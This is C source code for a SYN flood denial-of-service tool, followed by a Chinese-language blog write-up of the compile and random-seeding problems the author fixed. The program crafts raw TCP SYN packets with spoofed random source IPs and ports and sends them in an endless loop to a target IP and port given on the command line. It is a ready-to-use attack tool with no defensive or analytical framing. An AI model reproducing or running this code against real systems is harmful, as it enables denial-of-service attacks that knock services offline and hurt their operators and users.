/* syn flood by wqfhenanxc.
* random soruce ip and random sourec port.
* use #include <tcp_new.h> instead of <tcp.h> for my own system reason.
* usage :eg. to flood port 8080 on ip 246.245.167.45 ./synflood 246.245.167.45 8080
* any question mail to wqfhenanxc@gmail.com
* 2009.6.12
*/
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <asm/types.h>
#include <linux/ip.h>
#include <linux/tcp_new.h>
#include <netdb.h>
#include <sys/time.h>
//#include "synflood.h"
//#define DEFAULT_DPORT 80
//#define SPORT 8888
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short checksum(unsigned short *buffer, int size);
unsigned short random_port(unsigned short minport,unsigned short maxport);
void random_ip(char *str);
int main(int argc,char **argv){
int sockfd;
struct sockaddr_in addr;
//int dport;
int on=1;
if(argc!=3){
printf("usage: <command_name> <target_ip> <port>\n");
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(atoi(argv[2]));
//addr.sin_addr.s_addr=inet_aton(argv[1]);
inet_pton(AF_INET,argv[1],&addr.sin_addr);
/*if(inet_aton(argv[1],&addr.sin_addr)==0){
host=gethostbyname
}*/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0){
printf("Socket error!\n");
exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
while(1){
send_tcp(sockfd,&addr);
}
return 0;
}
void send_tcp(int sockfd,struct sockaddr_in *addr){
char buff[100];
struct iphdr ip_header;
struct tcphdr tcp_header;
unsigned short source_port=random_port(1024,5000);
char ip_str[50];
struct in_addr ip;
random_ip(ip_str);
if(inet_aton(ip_str,&ip)==0){
printf("inet_aton error!\n");
exit(1);
}
bzero(buff,100);
//ip_header=(struct iphdr*)buff;
ip_header.version=4;
ip_header.ihl=5;
ip_header.tos=0;
ip_header.tot_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
ip_header.id=htons(random());
ip_header.frag_off=0;
ip_header.ttl=30;
ip_header.protocol=IPPROTO_TCP;
ip_header.check=0;
ip_header.saddr=ip.s_addr;
ip_header.daddr=addr->sin_addr.s_addr;
//tcp_header=(struct tcphdr*)(buff+sizeof(struct iphdr));
tcp_header.source=htons(source_port);
tcp_header.dest=addr->sin_port;
tcp_header.seq=rand();
tcp_header.doff=sizeof(struct tcphdr)/4;
tcp_header.ack_seq=0;
tcp_header.res1=0;
tcp_header.fin=0;
tcp_header.syn=1;
tcp_header.rst=0;
tcp_header.psh=0;
tcp_header.ack=0;
tcp_header.urg=0;
tcp_header.window=htons(65535);
tcp_header.check=0;
tcp_header.urg_ptr=0;
//send_tcp_segment(&ip_header,&tcp_header,"",0);
struct{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}psd_header;
psd_header.saddr=ip_header.saddr;
psd_header.daddr=ip_header.daddr;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(struct tcphdr));
memcpy(buff,&psd_header,sizeof(psd_header));
memcpy(buff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
//memcpy(buf+sizeof(psd_header)+sizeof(tcp_header),data,dlen);
//memset(buf+sizeof(psd_header)+sizeof(tcp_header)+dlen,0,4);
tcp_header.check=checksum((unsigned short*)buff,sizeof(psd_header)+sizeof(tcp_header));
memcpy(buff,&ip_header,4*ip_header.ihl);
memcpy(buff+4*ip_header.ihl,&tcp_header,sizeof(tcp_header));
//memcpy(buf+4*ip_header.ihl+sizeof(tcp_header),data,dlen);
//memset(buf+4*ip_header.ihl+sizeof(tcp_header)+dlen,0,4);
ip_header.check=checksum((unsigned short*)buff,4*ip_header.ihl+sizeof(tcp_header));
// send_seq=SEQ+1+strlen(buf);
sendto(sockfd,buff,sizeof(struct iphdr)+sizeof(struct tcphdr),0,
(struct sockaddr*)addr,sizeof(struct sockaddr_in));
}
unsigned short checksum(unsigned short *buffer, int size){
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(unsigned short);
}
if(size ) cksum += *(unsigned char*)buffer; //..buffer..size..2......
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (unsigned short)(~cksum);
}
unsigned short random_port(unsigned short minport,unsigned short maxport){
/*struct time stime;
unsigned seed;
gettime(&stime);
seed=stime.ti_hund*stime.ti_min*stime.ti_hour;
srand(seed);*/
srand((unsigned)time(NULL));
return(getrandom(minport,maxport));
}
void random_ip(char *str){
int a,b,c,d,i=0;
static long j=0;
srand((unsigned)time(NULL)+(i++)+(j++));
a=getrandom(0,255);
srand((unsigned)time(NULL)+(i++)+(j++));
b=getrandom(0,255);
srand((unsigned)time(NULL)+(i++)+(j++));
c=getrandom(0,255);
srand((unsigned)time(NULL)+(i++)+(j++));
d=getrandom(0,255);
sprintf(str,"%d.%d.%d.%d",a,b,c,d);
printf("%s\n",str);
}
二、编写中遇到的问题
1.rand()函数问题。随机ip地址四个字段分别生成，结果由于生成速度太快，作为srand()种子的系统时间没有来得及变化，导致ip四个字段相同，如118.118.118.118，并且接连有10个左右的包是同一个ip。解决办法是引入自增量i和j。
2.编译错误如下：
/usr/include/linux/ip.h:95: error: syntax error before "__u8"
/usr/include/linux/ip.h:102: error: syntax error before "tot_len"
/usr/include/linux/ip.h:103: error: syntax error before "id"
/usr/include/linux/ip.h:104: error: syntax error before "frag_off"
/usr/include/linux/ip.h:105: error: syntax error before "ttl"
/usr/include/linux/ip.h:106: error: syntax error before "protocol"
/usr/include/linux/ip.h:107: error: syntax error before "check"
/usr/include/linux/ip.h:108: error: syntax error before "saddr"
/usr/include/linux/ip.h:109: error: syntax error before "daddr"
。。。
。。。
。。。
/usr/include/linux/tcp.h:105: enumerator value for `TCP_FLAG_CWR' not
integer constant
/usr/include/linux/tcp.h:106: syntax error before "__u32"
/usr/include/linux/tcp.h:107: syntax error before "__u32"
/usr/include/linux/tcp.h:108: syntax error before "__u32"
/usr/include/linux/tcp.h:109: syntax error before "__u32"
/usr/include/linux/tcp.h:110: syntax error before "__u32"
/usr/include/linux/tcp.h:111: syntax error before "__u32"
/usr/include/linux/tcp.h:112: syntax error before "__u32"
/usr/include/linux/tcp.h:113: syntax error before "__u32"
/usr/include/linux/tcp.h:114: syntax error before "__u32"
以上两个错误是由于系统的ip.h和tcp.h确实有问题，
第一个错误通过 增加 #include <asm/types.h>来解决，该文件包含了__u8和__u32的定义。
第二个错误源自tcp.h的如下几行：
enum {
TCP_FLAG_CWR = htonl(0x00800000)
TCP_FLAG_ECE = htonl(0x00400000),
TCP_FLAG_URG = htonl(0x00200000),
TCP_FLAG_ACK = htonl(0x00100000),
TCP_FLAG_PSH = htonl(0x00080000),
TCP_FLAG_RST = htonl(0x00040000),
TCP_FLAG_SYN = htonl(0x00020000),
TCP_FLAG_FIN = htonl(0x00010000),
TCP_RESERVED_BITS = htonl(0x0FC000000),
TCP_DATA_OFFSET = htonl(0xF0000000)
};
解决办法：将tcp.h的内容拷贝到另一个新建的文件tcp_new.h中，在新文件中去掉上面几行代码中的htonl，在自己的文件中用#include <linux/tcp_new.h>代替#include <linux/tcp.h>即可。
参考资料：
1.http://www.linuxsir.org/bbs/showthread.php?t=101990
2.Zakath的syn-flood源码
3.http://*.chinaunix.net/a4/b7/20010508/112433.html
原文：http://blogold.chinaunix.net/u2/63316/showart_1963024.html